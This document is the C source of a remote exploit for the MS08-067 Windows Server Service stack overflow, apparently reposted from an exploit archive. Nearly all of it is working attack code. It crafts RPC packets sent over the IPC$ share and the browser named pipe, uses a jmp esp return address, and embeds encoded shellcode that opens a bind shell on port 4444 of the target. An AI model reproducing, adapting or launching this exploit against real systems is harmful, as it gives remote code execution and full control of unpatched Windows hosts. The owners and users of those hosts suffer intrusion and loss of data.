MS Windows Server Service Code Execution Exploit (MS08-067)

                                                /*
MS08-067 Remote Stack Overflow Vulnerability Exploit

Author:  Polymorphours
Email:   [email protected]
Homepage:http://www.whitecell.org
Date:    2008-10-28
*/

#include "stdafx.h"
#include <winsock2.h>
#include <Rpc.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")
#pragma comment(lib, "ws2_32")

struct RPCBIND
{
	BYTE VerMaj;
	BYTE VerMin;
	BYTE PacketType;
	BYTE PacketFlags;
	DWORD DataRep;
	WORD FragLength;
	WORD AuthLength;
	DWORD CallID;
	WORD MaxXmitFrag;
	WORD MaxRecvFrag;
	DWORD AssocGroup;
	BYTE NumCtxItems;
	WORD ContextID;
	WORD NumTransItems;
	GUID InterfaceUUID;
	WORD InterfaceVerMaj;
	WORD InterfaceVerMin;
	GUID TransferSyntax;
	DWORD SyntaxVer;
};

struct RPCFUNC
{
	BYTE VerMaj;
	BYTE VerMin;
	BYTE PacketType;
	BYTE PacketFlags;
	DWORD DataRep;
	WORD FragLength;
	WORD AuthLength;
	DWORD CallID;
	DWORD AllocHint;
	WORD ContextID;
	WORD Opnum;
};

BYTE PRPC[0x48] = {
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0xB8,0x10,0xB8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x6A,0x28,0x19,0x39,0x0C,0xB1,0xD0,0x11,0x9B,0xA8,0x00,0xC0,0x4F,0xD9,0x2E,0xF5,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

BYTE EXPLOIT[] =
"\x05\x00"
"\x00\x03\x10\x00\x00\x00\xA4\x00\x00\x00\x01\x00\x00\x00\x94\x00"
"\x00\x00\x00\x00\x1f\x00"
"\x00\x00\x00\x00"
"\x2F\x00\x00\x00\x00\x00\x00\x00\x2F\x00\x00\x00"

"\x5c\x00"
"\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"

"\x41\x41"

"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"

"\x12\x45\xfa\x7f"	// jmp esp
"\x90\x8B\xF4\x81"
"\x3E\x90\x90\x90\x90\x74\x04\x4E\x4E\xEB\xF4\x33\xC9\x33\xDB\xB1"
"\x01\xC1\xE1\x09\x8B\xFC\x4B\xC1\xE3\x0D\x23\xFB\x57\xF3\xA4\x5F"
// "\xB1\x01\xC1\xE1\x09\x2B\xE1\xFF\xE7\x41\x41\x41\x41\x41\x41\x41"

"\x83\xEC\x70\x90\x90\x90\x90\xFF\xE7\x41\x41\x41\x41\x41\x41\x41"

"\x00\x00\x00\x00\x01\x00"
"\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5C\x00"
"\x00\x00"
"\x01\x00\x00\x00\x01\x00\x00\x00";



BYTE POP[] =//stub header RPCFUNC structure
"\x05\x00"
"\x00\x03\x10\x00\x00\x00\xE4\x01\x00\x00\x01\x00\x00\x00\xD4\x01"
"\x00\x00\x00\x00\x1f\x00"
"\x00\x00\x00\x00"
"\xCF\x00\x00\x00\x00\x00\x00\x00\xCF\x00\x00\x00"

"\x5c\x00"
"\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xCC\x41"

"\x00\x00\x00\x00\x01\x00"
"\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5C\x00"
"\x00\x00"
"\x01\x00\x00\x00\x01\x00\x00\x00";

unsigned char bind_shellcode[] =
// "\xCC"
// "\x83\xEC\x40"	// sub esp, 0x70
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xad"
"\x07\xe6\x4a\x83\xeb\xfc\xe2\xf4\x51\x6d\x0d\x07\x45\xfe\x19\xb5"
"\x52\x67\x6d\x26\x89\x23\x6d\x0f\x91\x8c\x9a\x4f\xd5\x06\x09\xc1"
"\xe2\x1f\x6d\x15\x8d\x06\x0d\x03\x26\x33\x6d\x4b\x43\x36\x26\xd3"
"\x01\x83\x26\x3e\xaa\xc6\x2c\x47\xac\xc5\x0d\xbe\x96\x53\xc2\x62"
"\xd8\xe2\x6d\x15\x89\x06\x0d\x2c\x26\x0b\xad\xc1\xf2\x1b\xe7\xa1"
"\xae\x2b\x6d\xc3\xc1\x23\xfa\x2b\x6e\x36\x3d\x2e\x26\x44\xd6\xc1"
"\xed\x0b\x6d\x3a\xb1\xaa\x6d\x0a\xa5\x59\x8e\xc4\xe3\x09\x0a\x1a"
"\x52\xd1\x80\x19\xcb\x6f\xd5\x78\xc5\x70\x95\x78\xf2\x53\x19\x9a"
"\xc5\xcc\x0b\xb6\x96\x57\x19\x9c\xf2\x8e\x03\x2c\x2c\xea\xee\x48"
"\xf8\x6d\xe4\xb5\x7d\x6f\x3f\x43\x58\xaa\xb1\xb5\x7b\x54\xb5\x19"
"\xfe\x54\xa5\x19\xee\x54\x19\x9a\xcb\x6f\xf7\x16\xcb\x54\x6f\xab"
"\x38\x6f\x42\x50\xdd\xc0\xb1\xb5\x7b\x6d\xf6\x1b\xf8\xf8\x36\x22"
"\x09\xaa\xc8\xa3\xfa\xf8\x30\x19\xf8\xf8\x36\x22\x48\x4e\x60\x03"
"\xfa\xf8\x30\x1a\xf9\x53\xb3\xb5\x7d\x94\x8e\xad\xd4\xc1\x9f\x1d"
"\x52\xd1\xb3\xb5\x7d\x61\x8c\x2e\xcb\x6f\x85\x27\x24\xe2\x8c\x1a"
"\xf4\x2e\x2a\xc3\x4a\x6d\xa2\xc3\x4f\x36\x26\xb9\x07\xf9\xa4\x67"
"\x53\x45\xca\xd9\x20\x7d\xde\xe1\x06\xac\x8e\x38\x53\xb4\xf0\xb5"
"\xd8\x43\x19\x9c\xf6\x50\xb4\x1b\xfc\x56\x8c\x4b\xfc\x56\xb3\x1b"
"\x52\xd7\x8e\xe7\x74\x02\x28\x19\x52\xd1\x8c\xb5\x52\x30\x19\x9a"
"\x26\x50\x1a\xc9\x69\x63\x19\x9c\xff\xf8\x36\x22\x42\xc9\x06\x2a"
"\xfe\xf8\x30\xb5\x7d\x07\xe6\x4a";

int BindRpcInterface(HANDLE PH, char *Interface, char *InterfaceVer) 
{
	BYTE rbuf[0x1000]="";
	DWORD dw=0;
	struct RPCBIND RPCBind;

	memcpy(&RPCBind,&PRPC,sizeof(RPCBind));
	UuidFromString((unsigned char *)Interface,&RPCBind.InterfaceUUID);
	UuidToString(&RPCBind.InterfaceUUID,(unsigned char **)&Interface);
	RPCBind.InterfaceVerMaj=atoi(&InterfaceVer[0]);
	RPCBind.InterfaceVerMin=atoi(&InterfaceVer[2]);
	TransactNamedPipe(PH, &RPCBind, sizeof(RPCBind), rbuf,sizeof(rbuf), &dw, NULL);

	return 0;
}

int main(int argc, char* argv[])
{
	char *server;
	NETRESOURCE nr;
	char unc[MAX_PATH];
	char szPipe[MAX_PATH];
	HANDLE hFile;
	WSADATA wsa;

	int bwritten=0;
	BYTE rbuf[0x100]="";
	DWORD dw;
	PVOID	ptr = (PVOID)&POP;

	printf( "\tMS08-067 Remote Stack Overflow Vulnerability Exploit(POC)\n\n" );
	printf( "Create by Whitecell's [email protected] 2008/10/27\n" );
	printf( "Thanks isno and PolyMeta\n" );
	printf( "ShellCode Function: bindshell port:4444\n" );
	printf( "usage:\n%s [IP]\n", argv[0] );

	if ( argc != 2 ) {
	
		return 0;
	}

	if ( WSAStartup(MAKEWORD(2,2),&wsa) != 0 ) {
	
		printf( "WSAStartup failed\n" );
		return 0;
	}

	memcpy((char *)ptr + 74, bind_shellcode, sizeof(bind_shellcode)-1);

	server=argv[1];
	_snprintf(unc, sizeof(unc), "\\\\%s\\pipe", server);
	unc[sizeof(unc)-1] = 0;
	nr.dwType = RESOURCETYPE_ANY;
	nr.lpLocalName = NULL;
	nr.lpRemoteName = unc;
	nr.lpProvider = NULL;

	printf( "connect %s ipc$ .... ", server );

	if ( WNetAddConnection2(&nr, "", "", 0) != 0 ) {
	
		printf( "failed\n" );
		return 0;
	} else {
	
		printf( "success!\n" );
	}

	_snprintf(szPipe, sizeof(szPipe),"\\\\%s\\pipe\\browser",server);
	printf( "open \\\\%s\\pipe\\browser ....", server );
	hFile = CreateFile( szPipe, 
						GENERIC_READ|GENERIC_WRITE, 
						0, 
						NULL,
						OPEN_EXISTING, 0, NULL);
	if ( hFile == (HANDLE)-1 ) {
	
		printf( "failed!\n" );
		return 0;
	} else {
	
		printf( "success!\n" );
	}

	printf( "Bind Rpc 4b324fc8-1670-01d3-1278-5a47bf6ee188 Interface\n" );
	BindRpcInterface(hFile,"4b324fc8-1670-01d3-1278-5a47bf6ee188","3.0");

	printf( "Send shellcode ....\n" );
	TransactNamedPipe(hFile, (PVOID)&POP, sizeof(POP) - 1, rbuf, sizeof(rbuf), &dw, NULL);

	printf( "Send Exploit ...... \n" );
	TransactNamedPipe(hFile, (PVOID)&EXPLOIT, sizeof(EXPLOIT) - 1, rbuf, sizeof(rbuf), &dw, NULL);

	CloseHandle( hFile );

	return 0;
}

// sebug.net